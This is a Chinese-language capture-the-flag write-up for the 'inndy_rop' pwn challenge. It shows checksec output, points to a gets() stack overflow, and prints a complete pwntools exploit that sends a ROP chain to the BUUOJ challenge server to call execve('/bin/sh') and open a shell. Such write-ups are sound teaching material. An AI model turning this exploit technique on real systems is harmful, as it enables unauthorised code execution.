HugeH4rD

inndy_rop

Ubuntu 16 来源：https://github.com/bash-c/pwn_repo

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/inndy_rop/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled				//栈不可执行
    PIE:      No PIE (0x8048000)

$ file rop rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped

静态编译

IDA

int overflow()
{
  char v1[12]; // [esp+Ch] [ebp-Ch] BYREF

  return gets(v1);			//gets()函数存在栈溢出漏洞
}

0x02

---

思路

1.用ropper | ROPgadget生成ropchain

ROPgadget --binary inndy_rop --ropchain

ropper --file inndy_rop --chain execve

2.溢出getshell

0x03

---

exp

from pwn import *
from struct import pack

context(log_level='debug', os='linux', arch='i386')
io = remote('node4.buuoj.cn', 27020)


def rop_chain():
    p = lambda x: pack('I', x)

    IMAGE_BASE_0 = 0x08048000  # 487729c3b55aaec43deb2af4c896b16f9dbd01f7e484054d1bb7f24209e2d3ae
    rebase_0 = lambda x: p(x + IMAGE_BASE_0)

    rop = b''

    rop += rebase_0(0x00070016)  # 0x080b8016: pop eax; ret;
    rop += b'//bi'
    rop += rebase_0(0x00026cda)  # 0x0806ecda: pop edx; ret;
    rop += rebase_0(0x000a2060)
    rop += rebase_0(0x0000c66b)  # 0x0805466b: mov dword ptr [edx], eax; ret;
    rop += rebase_0(0x00070016)  # 0x080b8016: pop eax; ret;
    rop += b'n/sh'
    rop += rebase_0(0x00026cda)  # 0x0806ecda: pop edx; ret;
    rop += rebase_0(0x000a2064)
    rop += rebase_0(0x0000c66b)  # 0x0805466b: mov dword ptr [edx], eax; ret;
    rop += rebase_0(0x00070016)  # 0x080b8016: pop eax; ret;
    rop += p(0x00000000)
    rop += rebase_0(0x00026cda)  # 0x0806ecda: pop edx; ret;
    rop += rebase_0(0x000a2068)
    rop += rebase_0(0x0000c66b)  # 0x0805466b: mov dword ptr [edx], eax; ret;
    rop += rebase_0(0x000001c9)  # 0x080481c9: pop ebx; ret;
    rop += rebase_0(0x000a2060)
    rop += rebase_0(0x00096769)  # 0x080de769: pop ecx; ret;
    rop += rebase_0(0x000a2068)
    rop += rebase_0(0x00026cda)  # 0x0806ecda: pop edx; ret;
    rop += rebase_0(0x000a2068)
    rop += rebase_0(0x00070016)  # 0x080b8016: pop eax; ret;
    rop += p(0x0000000b)
    rop += rebase_0(0x00027430)  # 0x0806f430: int 0x80; ret;
    return rop


shellcode = rop_chain()
padding = 0xc + 0x4
payload = flat(b'a' * padding, shellcode)
io.sendline(payload)
io.interactive()